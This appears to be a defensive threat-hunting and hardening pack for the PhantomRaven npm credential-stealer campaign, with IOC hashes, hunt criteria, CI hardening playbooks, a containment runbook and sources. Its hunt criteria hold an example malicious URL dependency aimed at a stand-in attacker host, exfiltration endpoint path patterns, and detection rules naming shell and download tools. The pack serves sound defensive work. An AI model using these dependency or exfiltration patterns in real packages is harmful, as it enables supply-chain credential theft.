perishable,campaign:PhantomRaven sha256,95a7dcc6de46826b22c43bee7fc550f3b5e2e6cbc5f33b0c241faf523641cf63,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven sha256,db3fe46df0a65fe9f8c99d2e11126a032a72e9814e354ce017448ce088a01e02,detect,low,2026-10-18,PhantomRaven payload hash -- single-sourced CrowdStrike Sept 2026,campaign:PhantomRaven
# Not literal IOCs -- paste into a hunt runbook or SOAR playbook as review criteria 1. package.json dependency value is an HTTP(S) URL instead of a semver range (RDD) example seen in the wild: "ui-styles-pkg": "http://[attacker-host]/[package].tgz" 2. npm/node (ParentBaseFileName) spawns curl/wget/powershell/sh/bash (FileName) during or immediately after an npm install -- see Q1/Q6 3. node/npm resolves a domain outside registry.npmjs.org + your approved CDN allowlist shortly after process start -- see Q2/Q7 4. node/npm resolves api64.ipify.org (public-IP fingerprint step) -- see Q5 5. Exfiltration endpoint path pattern: /jpd.php or /npm.php on a non-registry host (PHP endpoint filename has rotated between waves -- match the pattern, not the name) 6. C2 tarball package.json author field = "JPD" (confirmed unchanged across all 4 waves per Endor Labs byte-level diff) -- useful if you recover a suspect tarball for analysis 7. npm account naming pattern containing "jpd" or "dharsh" in any arrangement, or sequential numbered accounts (e.g. jpdtester01 .. jpdtester13) -- npm registry-side signal, not endpoint telemetry
# CrowdStrike-attributed (Sept 2026), highest confidence: transform-jsbi-to-bigint (npm account: jpdhellonpm1) sort-imports-es6-autofix (npm account: jpd15) # Attacker aliases / npm accounts named across sources: jpd12, jpd13, npmhell, npmpackagejpd, npmtestdharsh, jpdhackerone11, packagedharsh, jpdtester01@hotmail.com .. jpdtester13@gmail.com # Full package name lists (200+ Wave-1 names, 88 Wave-2/3/4 names) are NOT # reproduced here to avoid shipping an unmaintainable, quickly-stale blocklist. # Screen your dependency tree against the complete lists preserved verbatim in: # PhantomRaven-npm-Stealer-Hunt-sources/03-sonatype.txt (200+ names) # PhantomRaven-npm-Stealer-Hunt-sources/04-endorlabs.txt (88 names, wave-tagged) # via your SCA tool (Sonatype, Endor Labs, Socket.dev, or npm audit equivalent).
[ ] npm config get ignore-scripts = true on every CI runner image [ ] npm --version >= 12 fleet-wide (dev workstations + CI images) [ ] npm install-scripts ls reviewed for pending/approved lifecycle scripts [ ] .npmrc registry points at internal proxy, not public registry.npmjs.org directly [ ] No long-lived NPM_TOKEN/PAT in CI env vars for publish steps (OIDC preferred) [ ] CI runner egress allowlisted (self-hosted); SaaS-hosted runner gap documented [ ] Org 2FA + provenance attestation enforced for internally-published packages [ ] SCA tool screening dependency tree against current PhantomRaven package lists
Detection Validation Gates
| Gate | Requirement |
|---|---|
| Telemetry ready | Falcon sensor deployed to developer workstations and every self-hosted CI runner image; ProcessRollup2, DnsRequest and NetworkConnectIP4 confirmed flowing. Confirm FileOpenInfo/FileReadInfo licensing and field availability in-tenant before relying on Q3. |
| Benign baseline | Run Q1, Q2 and Q6 in Detect/hunt-only mode for 7 days minimum; catalog every node-gyp/sharp/esbuild/puppeteer/playwright hit and build the TUNING exclusion list from real fleet data before touching Prevent. |
| Positive tests | Validate Q1/Q2/Q6 fire using a disposable, lab-only npm package with a benign RDD-style dependency in an isolated VM/sandbox — never test against the actual PhantomRaven C2 infrastructure. Validate Q8/Q9 against a replayed lab PCAP containing the known-bad domain/IP. |
| Promotion criteria | Q4 and Q8 (multi-sourced domains only) → Prevent immediately. Q1 and Q6 → Prevent only after a 14-day burn-in with the FP exclusion list reviewed by two analysts. Q9 (IP match) stays Detect-only permanently per the AWS-IP-reassignment caveat. Q2, Q3, Q5, Q7 remain Investigate/Hunt-only. |
Hardening — Tiered
Controls target the two surfaces PhantomRaven actually touches: the npm/Node dependency-install pipeline, and CI/CD credential lifecycle. Two to four controls per tier, each cited to the strongest available authority.
1. Set ignore-scripts=true fleet-wide on CI runners (and dev workstations where feasible). MITRE M1038 (Execution Prevention). Authority: npm's documented --ignore-scripts flag; also CrowdStrike's own Sept 2026 recommendation. Blocks preinstall/install/postinstall lifecycle scripts from auto-executing, the exact mechanism PhantomRaven depends on.
Verify: npm config get ignore-scripts returns true.
Rollback: npm config delete ignore-scripts (or set to false) — re-enables lifecycle scripts; packages needing native builds (node-gyp/sharp) will need an explicit per-package npm rebuild <pkg> --foreground-scripts while this is on.
2. Upgrade npm to v12+ fleet-wide (CI images and developer machines). MITRE M1038, M1051 (Update Software). Authority: CrowdStrike Sept 2026 recommendation + npm's own release notes documenting the native preinstall-script block-by-default and npm install-scripts ls/approve/deny workflow.
Verify: npm --version returns ≥ 12; installing a package with a lifecycle script produces the npm warn install-scripts block message.
Rollback: pin npm to the prior version in the CI base image or via nvm — this removes the protection; only do this if the upgrade breaks a required build step, and re-evaluate that step instead of reverting where possible.
3. Stand up a private npm registry / pull-through proxy with an SCA scanning gate (Artifactory, Nexus, or npm's own private-registry feature, in front of Sonatype Firewall / Socket.dev / Endor Labs or equivalent), and repoint CI + developer .npmrc at it. MITRE M1013 (Application Developer Guidance), M1033 (Limit Software Installation). Authority: CrowdStrike Sept 2026 recommendation #1 + NIST SP 800-218 (SSDF) practice PW.4.
Verify: npm config get registry returns the internal proxy URL fleet-wide (spot-check via RMM/MDM inventory query); direct outbound to registry.npmjs.org from build hosts drops to only the proxy's own egress.
Rollback: revert .npmrc registry setting to https://registry.npmjs.org/.
4. Migrate CI/CD publish credentials from long-lived static tokens to short-lived OIDC-federated tokens (GitHub Actions OIDC → npm Trusted Publishing, GitLab CI ID tokens, CircleCI OIDC) where the platform supports it. ⚠ best-practice, no formal CIS/MITRE-mitigation entry specific to package-registry credential lifecycle — grounded in GitHub's and npm's own OIDC/Trusted-Publishing hardening docs and NIST SP 800-204C.
Verify: CI/CD secret store audit shows no long-lived NPM_TOKEN/PAT still used for publish steps; npm package provenance shows "OIDC," not "token."
Rollback: revert to a scoped, rotated static token stored in the platform's secret manager (never a plain env var) if a given CI vendor doesn't yet support OIDC for this use case.
5. Enforce default-deny egress allowlisting on self-hosted CI runners (VPC security groups / NGFW / cloud firewall rules limiting outbound to the internal registry proxy, source control, and an explicit small CDN allowlist). MITRE M1037 (Filter Network Traffic). Authority: NIST SP 800-204C + CIS AWS Foundations Benchmark (Security Group least-privilege) for the self-hosted case. ⚠ SaaS-hosted runner egress (GitHub-/GitLab-/CircleCI-hosted) has no equivalent customer-side control — documented gap, route egress-sensitive jobs to self-hosted runners instead.
Verify: a test outbound call from a runner job to a non-allowlisted host is blocked; review VPC Flow Logs / firewall logs for denied egress.
Rollback: revert the security group/firewall rule to the prior, broader egress policy.
6. Require org-level npm 2FA + package provenance attestation, and train developers against slopsquatting (verify a package exists and is actively maintained before accepting an LLM's dependency suggestion). MITRE M1017 (User Training), M1013. Authority: npm's own 2FA/provenance documentation; recommendation echoed across CrowdStrike, Sonatype and Endor Labs (snapshots 01/03/04).
Verify: npm org admin console shows 2FA enforced for all publishing members; a tabletop exercise asking developers to install a slopsquatted package name measures catch rate.
Rollback: none required — training/process control with no endpoint state change.
Deployable Playbooks
Playbook A — npm Install-Time Lifecycle Script Lockdown
MITRE: T1195.001, T1072 → M1038, M1051 Estimated deploy time: 1–2 hours fleet config push, longer for the npm v12 image rebuild Prerequisites: RMM/MDM or CI image-build pipeline access; inventory of packages that legitimately need lifecycle scripts (node-gyp/sharp/esbuild/puppeteer/playwright) Reboot required: No
Step 1 — Enforce ignore-scripts globally
What it does: Stops npm from auto-executing preinstall/install/postinstall scripts. Why it works: PhantomRaven's entire execution path depends on the preinstall hook firing unattended.
# Set at the user/CI level (~/.npmrc or the CI image's global npmrc) npm config set ignore-scripts true # Or enforce via a project-level .npmrc committed to the repo (defense in depth): echo "ignore-scripts=true" >> .npmrc
Verify: npm config get ignore-scripts → true
Rollback: npm config delete ignore-scripts. Packages needing native builds will fail silently until rebuilt explicitly: npm rebuild <pkg> --foreground-scripts.
Step 2 — Upgrade npm to v12+ and adopt the native install-scripts workflow
What it does: npm ≥ v12 blocks preinstall scripts from dependencies by default and requires explicit developer approval. Why it works: even if Step 1 is later reverted somewhere, this is a second, independent layer.
# CI base image (Dockerfile example) RUN npm install -g npm@latest # Review any pending blocked scripts before approving: npm install-scripts ls npm install-scripts approve <package> # only for known-good packages npm install-scripts deny <package> # for anything unrecognized
Verify: npm --version ≥ 12; a test install of a package with a lifecycle script shows the npm warn install-scripts block message.
Rollback: pin the base image / nvm version back to the prior npm release. This removes the block-by-default protection — only do this to unblock a specific failing build step, and re-evaluate that step first.
Playbook B — CI/CD Runner Egress Allowlisting & Secret Lifecycle Hardening
MITRE: T1552.007, T1071.001 → M1037, M1041 Estimated deploy time: 1 day per pilot ring for OIDC migration; 2–4 hours per runner pool for egress rules Prerequisites: Cloud account access (AWS/GCP/Azure) for self-hosted runner security groups; CI platform admin rights to configure OIDC trust Reboot required: No
Step 1 — Migrate npm publish credentials to OIDC (GitHub Actions example)
What it does: Replaces a long-lived NPM_TOKEN secret with a short-lived, workflow-scoped OIDC token. Why it works: a token PhantomRaven steals from a compromised runner is worthless once it expires within the job's lifetime.
# .github/workflows/publish.yml (excerpt)
permissions:
id-token: write
contents: read
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '22'
registry-url: 'https://registry.npmjs.org'
- run: npm publish --provenance --access public
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN_FALLBACK_ONLY }} # remove once Trusted Publishing is confirmed working
Verify: the published package's npm page shows a "Provenance" badge; the org secret store no longer lists a permanent NPM_TOKEN used by this workflow.
Rollback: restore the scoped static NPM_TOKEN secret (rotate it first) if OIDC/Trusted Publishing is not yet supported for your package's publish path.
Step 2 — Default-deny egress on self-hosted runners (AWS example)
What it does: Restricts a self-hosted runner's outbound traffic to an explicit allowlist. Why it works: blocks the RDD fetch and the exfiltration call even if the lifecycle-script block (Playbook A) is somehow bypassed.
# Example: replace an existing broad-egress security group rule with a narrow allowlist aws ec2 revoke-security-group-egress --group-id sg-0123456789abcdef0 \ --protocol -1 --port -1 --cidr 0.0.0.0/0 aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \ --protocol tcp --port 443 --cidr <internal-registry-proxy-cidr> aws ec2 authorize-security-group-egress --group-id sg-0123456789abcdef0 \ --protocol tcp --port 443 --cidr <source-control-cidr>
Verify: curl -m 5 https://example-non-allowlisted-host.test from the runner times out; VPC Flow Logs show the denied attempt.
Rollback: re-authorize the original broad egress rule (0.0.0.0/0) if the allowlist breaks a required build dependency, then add the missing destination to the allowlist instead of leaving the rule fully open.
Containment Runbook
| Phase | Actions | Owner | Evidence |
|---|---|---|---|
| Isolate | Network-isolate the affected host via Falcon RTR "contain" to stop further exfiltration | IR/SOC | Falcon detection ID, host AID, timestamp of first non-registry DNS/network hit |
| Isolate | Revoke and rotate every credential the malware could have harvested from that host: npm tokens, GitHub PAT/App tokens, GitLab CI variables, Jenkins credential-store entries, CircleCI context env vars, cached git credentials | Identity/Platform | Revocation timestamps / audit-log entries from each platform |
| Isolate | If the host is a CI runner: pull it from the pool immediately and invalidate any job artifacts/build outputs produced during the estimated compromise window | DevOps/Platform | Runner registration ID, affected job run IDs |
| Eradicate | Search org-wide for the named malicious packages and any RDD-style HTTP-URL dependency specifier across package.json/package-lock.json/yarn.lock; remove them | AppSec/Dev | SCA scan results, PR diffs removing the dependency |
| Eradicate | Purge npm/yarn/pnpm caches on the affected host (npm cache clean --force, remove ~/.npm and the affected node_modules) to eliminate any cached malicious tarball | IT/Endpoint | Cache-clear command output |
| Eradicate | Re-image or fully re-provision the affected workstation/runner if RCE was suspected or confirmed, rather than trusting in-place cleanup (CrowdStrike's Aug 2025 source reports an actor RCE claim via this same preinstall mechanism) | IT/Endpoint | Re-image ticket, asset tag |
| Recover | Reissue developer/CI access with newly-issued, scoped, short-lived credentials (prefer OIDC — Playbook B) | Identity/Platform | New credential issuance record |
| Recover | Re-enable the host/runner only after confirming ignore-scripts=true and npm ≥ v12 are enforced (Playbook A) | DevOps | Config audit output |
| Recover | Monitor the recovered host/runner for 30 days with Q1/Q2/Q6 in heightened, lower-threshold alerting | SOC | 30-day watch-list entry, daily query hit review log |
Detection Coverage Map
| Technique | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1195.001 | npm install triggers a non-registry RDD fetch | Q1, Q2, Q4, Q6 | Q1, Q4, Q6 candidates | Partial — the URL-dependency itself is invisible to EDR; only the resulting process/network behavior is covered |
| T1552.001 | Reads of .npmrc/.gitconfig/.git-credentials | Q3 | None | GAP — field availability is tenant-dependent, and SaaS-hosted CI runners have zero EDR visibility |
| T1552.007 | CI/CD environment variable theft | Q6 + native CI audits (§7) | Q6 candidate | Partial — self-hosted runners only; SaaS-hosted runners are a full gap |
| T1071.001 / T1041 | HTTP GET/POST exfiltration to a C2 domain/IP | Q2, Q7, Q8, Q9 | Q8 candidate | Good for known infrastructure; Partial for undiscovered Wave-5+ infra (Q7 is hunt-only) |
| T1027.009 | Payload embedded behind a URL dependency, invisible to static/SCA tooling | None | None | GAP — requires registry-side SCA scanning, entirely outside Falcon telemetry |
| T1036.005 | Typosquatted/slopsquatted package naming | Q4 | Q4 candidate | Partial — covers only the two CrowdStrike-named packages, not the 200+ reported by Sonatype/Endor Labs |
| T1059.007 / T1072 | Execution via the preinstall lifecycle hook | Q1, Q6 | Q1, Q6 candidates | Good |
See §11 for the full Detection Validation Gates this coverage assumes: telemetry readiness, a 7-day benign baseline, lab-only positive testing, and the specific promotion criteria for each query.
Hunt Summary Ticket
TITLE: PhantomRaven -- npm Remote Dynamic Dependency Information Stealer
SEVERITY: HIGH
SCOPE: Developer workstations (Win/macOS/Linux) + self-hosted CI/CD runners
(GitHub Actions, GitLab CI, Jenkins, CircleCI). SaaS-hosted runners
OUT OF EDR SCOPE -- see native audit-log hunts, section 7.
HYPOTHESIS: npm/node lifecycle scripts (preinstall) are spawning shells or
reaching non-registry hosts during package installation, fetching
and executing a second-stage credential-stealing payload that
never touches the npm registry (Remote Dynamic Dependency / RDD).
QUERIES: Q1-Q9 (section 8) -- Q1/Q4/Q6/Q8 are Custom IOA candidates.
DO FIRST: 1. Run Q1 and Q6 in Detect/hunt-only mode; catalog FPs for 7 days.
2. Run Q8/Q9 immediately at Detect -- near-zero cost, known IOCs.
3. Fleet audit: npm config get ignore-scripts / npm --version
(section 10, CI/npm Audit Checklist block).
FINDINGS: [populate after first hunt pass]
GAPS: SaaS-hosted CI runner egress + telemetry (section 5); registry-side
SCA scanning for the RDD dependency itself (section 6, T1027.009);
FileOpenInfo/FileReadInfo field availability unconfirmed in tenant.
ACTIONS: Deploy hardening controls 1-2 (section 12) this week; brief AppSec
on the full package-name lists in sources 03/04 for SCA screening.
OWNER: SOC / AppSec (joint) -- see section 14 for per-phase ownership
VERSION: v0.1 -- 2026-09-18
Changelog
References
| Tier | Source | Used For | Access Date |
|---|---|---|---|
| 1 | CrowdStrike — PhantomRaven: An LLM-Generated Information Stealer Developed for Bug Bounty Hunting [01] | Primary research: actor attribution, C2 domains/IP/hashes, ATT&CK mapping, hardening recs | 2026-09-18 |
| 2 | BleepingComputer — PhantomRaven attack floods npm with credential-stealing packages [02] | Independent campaign-scale corroboration | 2026-09-18 |
| 1 | Sonatype — PhantomRaven: npm Malware Evolves Again [03] | +83 additional packages, full package name list, brandjacking analysis | 2026-09-18 |
| 1 | Endor Labs — The Return of PhantomRaven: Detecting Three New Waves [04] | 4-wave infrastructure timeline, byte-level payload diff, infection chain | 2026-09-18 |
| 2 | The Hacker News — Claimed Bug Bounty Hunter Likely Used LLM to Build PhantomRaven npm Stealer [05] | Syndication of CrowdStrike's Sept 2026 reassessment | 2026-09-18 |
| 1 (redirected) | Koi Security — original PhantomRaven disclosure (URL now redirects) [06] | Original discloser / coined "PhantomRaven" and "RDD" — see note below | 2026-09-18 |
| 2 | The Hacker News — PhantomRaven Malware Found in 126 npm Packages Stealing GitHub Tokens From Devs [07] | Original Oct 2025 disclosure corroboration, Oren Yomtov (Koi) quotes, RDD host confirmation | 2026-09-18 |
| 3 | CyberSecurityNews — PhantomRaven Attack Involves 126 Malicious npm Packages [08] | Exact package.json RDD dependency syntax, preinstall hook syntax | 2026-09-18 |
Note on source [06]: koi.ai was Koi Security's domain at the time of PhantomRaven's original October 2025 disclosure. Koi Security was subsequently acquired by Palo Alto Networks, and as of this research (2026-09-18) the URL redirects to an unrelated "Cortex Agentic Endpoint Security" marketing page with no PhantomRaven content. Snapshot 06 preserves that redirect target for audit purposes. All facts originally attributed to Koi Security in this pack are corroborated through independent syndication in sources [02], [05], [07] and [08], each of which quotes or paraphrases the original Koi research directly.
Prompt-injection check: all eight fetched sources were reviewed for embedded instructions directed at an AI agent. None was found — no hidden text, HTML comments, or "note to the AI" content in any snapshot. No source attempted to redirect this research, claim authorization to skip a step, or influence a Prevent-tier IOC decision.